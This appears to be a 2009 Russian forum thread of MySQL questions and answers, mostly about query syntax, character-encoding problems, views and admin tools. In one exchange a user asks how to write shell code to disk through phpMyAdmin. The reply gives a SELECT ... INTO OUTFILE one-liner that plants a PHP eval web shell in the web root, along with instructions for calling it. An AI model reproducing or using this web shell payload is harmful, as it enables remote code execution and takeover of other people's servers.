Можно ещё как вариант навесить триггер, который будет чистить таблицу.
У меня таких 2 вопроса,может и тупые ну всёравно. Вопшем через какую комманду удалить ячейку с определенным id , например 100 в таблице "users"??
И как удалить значение определенного поля в ячейке? есле оно было с самого начала пустым то в пхпмайадмин на етом поле типо значение пишет NULL ну есле изменить поле,а потом удалить весё с него,то просто пустое поле....
1. DELETE FROM `users` WHERE `id`=100;
2. UPDATE `users` SET `info`=NULL WHERE `id`=100;
как выбрать случйную записаь из таблицы?
AkyHa_MaTaTa
24.01.2009, 18:03
как выбрать случйную записаь из таблицы?
SELECT * FROM `имя_таблицы` ORDER BY RAND() LIMIT 1
имеется бд.
где вместо русских символов херня
вот например
'1) îáíîâèëè ñàéò äî ïîñëåäíåé ñòàáèëüíîé âåðñèè\n2) îáíîâèëè ôîðóì (ñêîðî ñíîâà îáâíîâèì) :p
открывал бд блокнотом, там кракозябры, и в phpmyadmin'e тоже.
ENGINE=MyISAM DEFAULT CHARSET=latin1 COLLATE=latin1_swedish_ci AUTO_INCREMENT=xxx ;
Pashkela
26.01.2009, 11:53
Если вы работаете в режиме latin1/binary - latin1_binary.
Если вы работаете в режиме cp1251 - cp1251_general_ci.
не понял =\
у меня бд вот такая уже:
например
INSERT INTO `vb_post` VALUES (37377, 10486, 37265, 'ino4kin', 8881, '', 1206300110, 'Î÷åíü íðàâèëñÿ ýòîò ìóëüò:) ñïàñèáî)\r\nÀ åñòü åùå ñåðèè?', 1, 0, '77.51.21.203', 0, 1, 0, 0, 0, 0, NULL);
это блокнотом открыл.
можно с ней что нибудь сделать?
Pashkela
26.01.2009, 18:04
Если нет возможность сделать дамп с правильной кодировкой, то:
1. Создать свою базу (хоть и на локал хосте), залить туда дамп и выставить правильную кодировку (cp1251_general_ci) - смотреть и наслаждаться
2. http://www.artlebedev.ru/tools/decoder/
3. Написать небольшой скрипт, который переведёт кракозябры в читабельный вид (по аналогии с пунктом два, только всё и сразу)
Xantalion
26.01.2009, 20:46
у меня такая проблема с кодировкой: когда добавляю при помощий php кода в таблицу русский текст в базу заносятся в формате utf-8. Если добавляю с помощью phpmyadmin или dumper.php, то все хорошо. Если навикатом, то тоже utf-8.
в my.ini ставил все что можно
default-character-set = cp1251
character-set-server = cp1251
collation-server = cp1251_general_ci
init_connect = 'SET collation_connection = cp1251_swedish_ci'
init_connect = 'SET NAMES cp1251'
skip-character-set-client-handshake
пытался в скрипте добалять после коннекта
mysql_query ("SET NAMES cp1251" ) ;
mysql_query ("SET SESSION character_set_results=cp1251" ) ;
mysql_query ("set collation_connection='cp1251_general_ci'" ) ;
mysql_query ("set character_set_results='cp1251'" ) ;
mysql_query ("set character_set_client='cp1251'" ) ;
Делал это в Windows в AppServer 2.5.8.
Проверил в Денвере 3 (там удже все как я понял поднастроено под cp1251) всеравно текст в utf-8 зансится скриптом в БД.
Что делать не понятно, как сделать чтоб заносились русские буквы? :confused:
groundhog
26.01.2009, 21:48
Покажи скрипт, который добавляет...
З.Ы. Вопрос не по теме SQL
AkyHa_MaTaTa
26.01.2009, 22:03
Что делать не понятно, как сделать чтоб заносились русские буквы? :confused:
МБ втавляешь utf-8 и пытаешься убедить БД что это cp1251? Посмотри кодировку в переменой котороя содержит русский текст и всатвляеться в запрос
echo mb_detect_encoding($_переменая_котор ая_вставляеться_в_запрос);
Xantalion
26.01.2009, 22:30
Покажи скрипт, который добавляет...
З.Ы. Вопрос не по теме SQL
<?php
$dblocation = "localhost";
$dbuser = "php";
$dbpasswd = "zxcv";
$db_name = "db_test";
$dbcnx = @mysql_connect($dblocation, $dbuser, $dbpasswd);
if (!$dbcnx)
{
exit ("<P>В настоящий момент сервер базы данных
не доступен, поэтому корректное отображение
страницы невозможно.</P>");
}
else
{
echo "<P>Соединение установлено.</P>";
}
@mysql_query ("SET NAMES 'cp1251'");
$sql="CREATE DATABASE $db_name";
mysql_query($sql);
mysql_select_db ($db_name, $dbcnx);
$sql="CREATE TABLE tel_numb(fio text, address text, tel text)";
mysql_query($sql);
$sql="INSERT INTO tel_numb(fio, address, tel)
values('Вася Пупкин', 'ул.Горького, д.18', '23-23-23')";
mysql_query($sql);
?>
AkyHa_MaTaTa
26.01.2009, 23:47
что то с настройками MySQL, у меня все норм вноситься, кодировка cp1251, попробуй еще
$sql="CREATE TABLE tel_numb(fio text, address text, tel text)
ENGINE=MyISAM DEFAULT CHARSET=cp1251";
как изврат вариант делать base64_encode русского текста ну и соответсвенно при выводе base64_decode, ну или "0". bin2hex(), ну это изврат.
Что делать не понятно, как сделать чтоб заносились русские буквы? :confused:
а что заносится?
Если нет возможность сделать дамп с правильной кодировкой, то:
1. Создать свою базу (хоть и на локал хосте), залить туда дамп и выставить правильную кодировку (cp1251_general_ci) - смотреть и наслаждаться
2. http://www.artlebedev.ru/tools/decoder/
3. Написать небольшой скрипт, который переведёт кракозябры в читабельный вид (по аналогии с пунктом два, только всё и сразу)
пункт 1) поковырял, ничего не вышло
пункт 2)да получается
пункт 1)база 200mb+ , мне ее резать пришлось чтобы восстановить =\
Xantalion
27.01.2009, 18:25
а что заносится?
utf-8.... придется попробовать поотдельности установить апач и mysql и посмотреть что будет)
utf-8.... придется попробовать поотдельности установить апач и mysql и посмотреть что будет)ничего не будет!
Пропиши в скрипте:
mysql_query ("set character set cp1251");вместо:
@mysql_query ("SET NAMES 'cp1251'"); ;)
mysql_query("SET NAMES 'cp1251'");
mysql_query("SET CHARACTER_SET_CLIENT=cp1251");
mysql_query("SET CHARACTER_SET_RESULTS=cp1251");
mysql_query("SET CHARACTER_SET_CONNECTION=cp1251");
AkyHa_MaTaTa
28.01.2009, 15:52
mysql_query("SET NAMES 'cp1251'");
mysql_query("SET CHARACTER_SET_CLIENT=cp1251");
mysql_query("SET CHARACTER_SET_RESULTS=cp1251");
mysql_query("SET CHARACTER_SET_CONNECTION=cp1251");
Как бы
A SET NAMES 'x' statement is equivalent to these three statements:
SET character_set_client = x;
SET character_set_results = x;
SET character_set_connection = x;
Как бы
эквивалентно - не эквивалентно... я когда-то немало времени убил, чтобы оно заработыло (правда я на utf-8 переделывал как раз), и у меня без "эквивалентного", не знаю почему, работало очень и очень криво.
AkyHa_MaTaTa
28.01.2009, 16:00
эквивалентно - не эквивалентно... я когда-то немало времени убил, чтобы оно заработыло (правда я на utf-8 переделывал как раз), и у меня без "эквивалентного", не знаю почему, работало очень и очень криво.
Я не спорю работать так будет, только нах лишний раз делать гвери которые приведут к тому что и 1 гверя?
Architek86
29.01.2009, 18:58
Народ, совсем запутался с этим MySQL... как в уже существующей таблице $table_name создать (желательно одним запросом) столбец с именем $stolbik и вставить в него пять строчек со значениями: $aa, $bb, $cc, $dd, $ee, каждое из которых будет строкой не более 200 символов?
И правильно я понимаю, что графически итог будет таким:
$table_name:
------------------------------
| др.таб. | | $stolbik |
------------------------------
| ... | | $aa |
------------- -------------
| ... | | $bb |
------------- -------------
| ... | | $cc |
------------- -------------
| ... | | $dd |
------------- -------------
| ... | | $ee |
------------- -------------
?
Pashkela
29.01.2009, 19:20
ALTER TABLE `$table_name` ADD `$stolbik` VARCHAR(60) NOT NULL;
INSERT INTO $table_name (`$stolbik`) VALUES ('$aa');
INSERT INTO $table_name (`$stolbik`) VALUES ('$bb');
INSERT INTO $table_name (`$stolbik`) VALUES ('$cc');
INSERT INTO $table_name (`$stolbik`) VALUES ('$dd');
INSERT INTO $table_name (`$stolbik`) VALUES ('$ee');
или так:
ALTER TABLE `$table_name` ADD `$stolbik` VARCHAR(60) NOT NULL;
INSERT INTO $table_name (`$stolbik`) VALUES ('$aa'), ('$bb'),('$cc'),('$dd'),('$ee');
//это создание столбика
mysql_query = "ALTER TABLE `".$table_name."` ADD `".$stolbik."` VARCHAR(200) CHARACTER SET cp1251 COLLATE cp1251_general_ci NOT NULL;"
а это добавить в этот столбик значения, только тебе нада циклом по всем $id пробежатся
UPDATE `".$table_name."` SET `stolbik` = '".$aa."' WHERE `posts`.`id` =" . $id . " LIMIT 1 ;
чота мы помоему по разному его поняли...
Pashkela
29.01.2009, 19:36
Ну я тупо ответил на вопрос, это же не PHP-раздел, может ему просто в phpmyadmin надо запрос выполнить и всё.
вопрос ....
скажем я делаю такойзапрос SELECT * FROM users WHERE `login`= " Admin"
но в колонке refer находится id пользователя .... чей логин нада ввыбрать из этой же таблицы ...
вопрос как сделать это всё 1 запросом ... не будь это в 1ой таблицы сделал бы JOIN а тут хз даж =\\
чёт туплю я ...
Pashkela
29.01.2009, 21:55
SELECT * FROM `users` WHERE login='Admin' OR refer='нужный_id';
вроде так
vikseriq
29.01.2009, 22:25
Doom, конкретизируй! Мы не телепаты, как Онотоле или Мицгол )
сажем у пользователя admin в поле refer, id пользователя ... скажем 18 ...
мне надо сделать так чтоб из базы выбралась вся инфа о пользователе admin а также login пользователя с id 18 ....
тоесть чтоб в ответе было ...
login (admin)..
password(пароль пользователя ) ...
refer_login(логин рефера ) ...
big_BRAT
30.01.2009, 15:38
вопрос: существует или в mysql поддержка alias'ов/ссылок для таблиц?
суть - в базе существует таблица NEWS, мы создаем что то типа ссылки или алиаса на эту таблицу и теперь мы можем обратится к этой таблице по запросу к NEW_NEWS (мы думаем что данные получаем из NEW_NEWS, а на самом деле они берутся из NEWS)
надеюсь понятно)
vikseriq
31.01.2009, 02:06
Да, есть. пример: SELECT c1.cust_id, c2.cust_id FROM customer c1, customer c2 WHERE c1.surname = c2.surname AND c1.cust_id != c2.cust_id; (brainbell.com)
Почитать можно тут: http://dev.mysql.com/doc/refman/5.0/en/identifiers.html
сажем у пользователя admin в поле refer, id пользователя ... скажем 18 ...
мне надо сделать так чтоб из базы выбралась вся инфа о пользователе admin а также login пользователя с id 18 ....
тоесть чтоб в ответе было ...
login (admin)..
password(пароль пользователя ) ...
refer_login(логин рефера ) ...
В данном случае думаю тебе здесь вполне поможет коррелирующий подзапрос :)
SELECT *, (SELECT `u`.`login` FROM `users` as `u` WHERE `u`.`id`=`users`.`refer`) as `reflogin` FROM `users` WHERE `login` = `admin`
Что то типа такого, думаю смысл ясен :)
2 vikseriq Вы собственно на какой вопрос отвечали?) Думаю вы не совсем поняли суть вопроса.
вопрос: существует или в mysql поддержка alias'ов/ссылок для таблиц?
суть - в базе существует таблица NEWS, мы создаем что то типа ссылки или алиаса на эту таблицу и теперь мы можем обратится к этой таблице по запросу к NEW_NEWS (мы думаем что данные получаем из NEW_NEWS, а на самом деле они берутся из NEWS)
надеюсь понятно)
2 big_BRAT Всю жизнь это называлось Видом (view... ну либо представлением в некоторых терминах :) ). Естественно это присутствует в mysql, так как этим способом зачастую организуется ограничение доступа к данным (например таблица о сотрудниках, с помощью вида выводим всю информацию кроме, к примеру, инн. Затем закрываем доступ к родительской таблице и даем права только на данный Вид).
Почитать о реализации и синтаксисе в мускуле видов можно здесь: http://dev.mysql.com/doc/refman/5.1/en/show-create-view.html
есть доступ в пхпмайадмин
нужно сделать что бы запрос
select 'SHELL' into outfile 'C:/Program Files (x86)/VertrigoServ/www/forum/dbc.php';
где SHELL находиться
в таблице news
в ней три столбца date / news / id
код шелла находиться в news, а id=56
mailbrush
05.02.2009, 19:10
где SHELL находиться
в таблице news
в ней три столбца date / news / id
код шелла находиться в news, а id=56
Зачем так утруднять =)?
select '<? eval($_GET['com']); ?>' into outfile 'C:/Program Files (x86)/VertrigoServ/www/forum/shellik.php';
Потом заходишь на shellik.php?com=код шелла без <? ?>
InfernoNet
16.02.2009, 23:01
CREATE TABLE `flash_gal` (
`id` int(9) NOT NULL auto_increment,
`img` varchar(200) NOT NULL default \'\',
`title` varchar(200) NOT NULL default \'\',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=cp1251 AUTO_INCREMENT=6 ;
Что не так?
InfernoNet \'\' на '' заменить
InfernoNet
16.02.2009, 23:13
Это баг анонимейзера. Спасибо.
Сам поставил phpmyadmin на сервер, но проблема в том что у меня не достаточно прав для создания новых таблиц и импортирования бекапов прежней базы.
Как добавить себя прав?
Такое ощущение, что в /scripts/setup.php нет такой функции, а тот факт что при создании config.inc.php я пишу строки
$cfg['Servers'][$i]['controluser'] = 'user';
$cfg['Servers'][$i]['controlpass'] = 'pass';
Как будто бы вообще игнорируется.
Подскажите пожалуйста, как добавить себе права?
groundhog
20.02.2009, 13:27
пхпадмин тебе не поможет, он работает с правами того пользователя БД, который прописан в конфигах, пропиши туда скажем рута, и будет тебе счастье...
Привет! как в мускуле в поле типа timestamp отменить коректирование времени при апдейте? там пооходу CURRENT_TIMESTAMP нада заменить неа чтот другое но на что .... ? =\\
Привет! как в мускуле в поле типа timestamp отменить коректирование времени при апдейте? там пооходу CURRENT_TIMESTAMP нада заменить неа чтот другое но на что .... ? =\\
CURRENT_TIMESTAMP эт текущий таймштамп, чтомы и видим из названия :)
При апдейте отдельного поля по идее он меняться и не будет, это просто значение по умолчанию (опять таки если я правильно понял о чем ты). Если же не хочешь что бы при вставке строки он выставлялся по умолчанию - убери вообще значение по умолчанию.
Вопрос такой если удаляю с двух таблиц
в одной нет записи то не происходит удаление
вот например
delete comment,page from comment,page where
comenmet.pid = page.id and page.id = 5 ;
если нет коментария на странице удалить не получаеться
если есть то удаляеться
Так вот надо ли использовать два запроса или все таки можна сделать и один запрос.
SELECT COUNT(*) from comment where id = pid
потом проверать если там запись или нет.
AkyHa_MaTaTa
23.02.2009, 11:41
Не пойму что мешает однозначно определить критерии по которым будет происходить удаления если у тебя уникальный ключи, тем более если у тебя нет прямых зависимостей одной таблицы от другой(а их не так как у тебя возникает такая ситуация что данные в одной таблице есть а в другой нету), то есть:
DELETE `comment`,`page` FROM `comment`,`page`
WHERE comenmet.pid = '5' AND page.id = '5' ;
Все равно неудаляет страницу если нет комментарий (
если есть 2 таблиц записи тогда удаляет
AkyHa_MaTaTa
23.02.2009, 13:03
Да вся трабла в том что у нас нет реальных зависимостей одной таблицы от другой, а логическое and вернет TRUE если оба значения TRUE а у нас это не так(так как нет зависимостей а значит и одно и из условий при проверки может вернуть FALSE), если же будем использовать логическое или(or) то снесем все даные так как оно будет true если одно из значений TRUE, либо писать процедуру либо использовать 2 запроса.
Дарова всем, такой вопрос, дома на локальном хосте забацал сайт, как полагается с бд))
Нашел халявный хостинг 000webhost.com решил залить, файлы залил, а как дело до бд дошло, за ступарился, в MyAdmin создал БД с нужным именем, а как в саму бд зайти не знаю )) Я так понял, что там не кнопкой а в брауере надо, или мб кто подскажет?
Подскажите, как записывать дату такого формата 28.07.05 (14:09), при помощи запроса, не пребегая к php?
AkyHa_MaTaTa
27.02.2009, 12:53
Подскажите, как записывать дату такого формата 28.07.05 (14:09), при помощи запроса, не пребегая к php?
Не совсем понял, тебя надо привисти к такому формату или надо из таго формата в unix time формат перевести, если надо привисти то например вот так :
DATE_FORMAT( FROM_UNIXTIME( UNIX_TIMESTAMP( ) ) , '%d.%m.%y (%k:%i)' )
groundhog
27.02.2009, 13:07
Скажи тип поля, для которого нужно применить форматирование даты...
groundhog char :( но могу переделать, если нужно
groundhog
27.02.2009, 14:25
Я не понял... Ты хочешь дату, которая хранится в CHAR(...) записывать в поле с типом DATETIME? Напиши тип того поля куда ты хочешь сохранять дату, то, что ты сохраняешь из строки это я понял... :)
Привет всем. Подскажите пожалуйста как сменить кодировку БД с UTF-8 на win1251. Я раздобыл скриптик, но как его настроить хз.
<?php $db = mysqli_connect('localhost','username','password', 'db'); if(mysqli_connect_errno()) { echo "Cannot connect to the database - incorrect details"; } $sql = 'SHOW TABLES'; if ( !( $result = $db->query( $sql ) ) ) { echo '<span style="color: red;">Get SHOW TABLE - SQL Error: <br>' . "</span>\n"; } while ( $tables = $result->fetch_row() ) { echo $tables[0]; # Loop through all tables in this database $table = $tables[key($tables)]; if ( !( $result2 = $db->query("ALTER TABLE ".$table." COLLATE utf8_general_ci") ) ) { echo '<span style="color: red;">UTF SET - SQL Error: <br>' . "</span>\n"; break; } print "$table changed to UTF-8 successfully.<br>\n"; # Now loop through all the fields within this table if ( !($result2 = $db->query("SHOW COLUMNS FROM ".$table) ) ) { echo '<span style="color: red;">Get Table Columns Query - SQL Error: <br>' . "</span>\n"; break; } while ( $column = $result2->fetch_assoc() ) { $field_name = $column['Field']; $field_type = $column['Type']; # Change text based fields $skipped_field_types = array('char', 'text', 'enum', 'set'); foreach ( $skipped_field_types as $type ) { if ( strpos($field_type, $type) !== false ) { $sql4 = "ALTER TABLE $table CHANGE `$field_name` `$field_name` $field_type CHARACTER SET utf8 COLLATE utf8_general_ci"; $result4 = $db->query($sql4); echo "---- $field_name changed to UTF-8 successfully.<br>\n"; } } } echo "<hr>\n"; } $result->free(); $result2->free(); $result4->free(); ?>
Что где изменить надо? Подскажите пожалуйста?
-=Static=-
28.02.2009, 19:56
Можно сделать для всех таблиц:
ALTER TABLE `TABLENAME` DEFAULT CHARACTER SET cp1251 COLLATE cp1251_general_ci;
После импорта навикатом базы, которой уже нет на сервере.... все русские буквы в файле бекапа стали
ÐåäÃВ*ÃªÃ²à ¨Ã°Ã®Ã¢ÃВ*ГѓВІГѓВ ј ГѓВ*ГѓВ*ñòðîà ©ÃªÃ¨
Как можно перекодировать все назад?????
срочно надо :confused:
После импорта навикатом базы, которой уже нет на сервере.... все русские буквы в файле бекапа стали
ÐåäÃВ*ÃªÃ²à ¨Ã°Ã®Ã¢ÃВ*ГѓВІГѓВ ј ГѓВ*ГѓВ*ñòðîà ©ÃªÃ¨
Как можно перекодировать все назад?????
срочно надо :confused:
при импорте нада кодировку выбрать такуюже как на сайте, заново импортируй с правильной кодировкой
при импорте нада кодировку выбрать такуюже как на сайте, заново импортируй с правильной кодировкой
проблема в том что на сайте уже ничего не осталось....
нашол в бекапе еще строку
ENGINE=MyISAM DEFAULT CHARSET=latin1;
может это как то поможет...
путем utf8-> ASCII
удалось получить русские букаФки, тока есть декодер такой?
но русские букафки получились очень кривые((((
Что такое???? ГЕ оличество публичных сообщений нГВ стрГВ ницу
фсе, разобрался, достаточно просто раскодировать из утф8 но буквы А нету(((( Почему???
День добрый всем!
Вопрос такой:
Кто виноват и что делать?
при заполнении таблицы (mysql5.0) из файла *.csv
в таблице поле(единственное, не считая id) которо должно было заполняться заполнилось лишь по одному пробелу(как мне показалось)
Запрос был такой:
LOAD DATA INFILE
'D:/1.csv'
INTO TABLE `city_r`;
Как определить в какой кодировке excel сохранил файл 1.csv?
Или дело не в кодировке данного файла? кодировка таблицы ср1251.
Pashkela
07.03.2009, 18:29
А потому что нельзя вот так просто данные из ёкселя без предварительной обработки (парсинга и приведения в нормальный вид) кидать в БД.
посоветуйте хорошую функциональную софтинку для администрирвоания мускуль сервера (нуна именно на сервер) что бы к ней доступа через браузер не было
ps на виндовз
посоветуйте хорошую функциональную софтинку для администрирвоания мускуль сервера (нуна именно на сервер) что бы к ней доступа через браузер не было
ps на виндовз
HeidiSQL
Вот тоже неплохая -
http://www.devart.com/ru/dbforge/mysql/studio/overview.html
+ ко всему дампы больших размеров шустро востанавливает.
как сделать запрос в БД такого вида
SELECT * FROM `cc1_crand` WHERE x <= '25' and x > '10'
Можно ли записать прощё? что-то типа 10<x<=25 ?
Можно вот так но это будет не как не проше(вообше это эквивалент) :)
SELECT * FROM `cc1_crand` WHERE x BETWEEN '10' and '25'
А потому что нельзя вот так просто данные из ёкселя без предварительной обработки (парсинга и приведения в нормальный вид) кидать в БД.
прошу прощения за свою тупость, но можно хоть намёк, как найти мануал о вышеупомянутом?
Привет всем! кто знает каким запросом к mysql можно получить индекс таблицы и его виды, типа id,UNIQUE
уже нашел, гугл умный)) SHOW KEYS from table_name;
-=Static=-
08.03.2009, 00:04
Привет всем! кто знает каким запросом к mysql можно получить индекс таблицы и его виды, типа id,UNIQUE
mysql> SHOW INDEX FROM mytable FROM mydb;
mysql> SHOW INDEX FROM mydb.mytable;
Вот тут подробнее (http://www.mysql.ru/docs/man/SHOW_DATABASE_INFO.html)
Подскажите, нужно сделать запрос с точным соответствием поискомого слова и слова в БД в столбце art
DbQueryToArray('select count(*) from `products` WHERE `name` like "%'.$search.'%" OR opis like "%'.$search.'%" OR `art` = "'.$search.'"'); `art` = "'.$search.'" - что сдесь нужно прописать, нужно чтобы по запросу "234" из
q234
AD234
234 -2
234
q234-3
выбирало только 234 :confused:
Pashkela
10.03.2009, 23:11
DbQueryToArray('select count(*) from `products` WHERE `art` = "'.$search.'"');
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot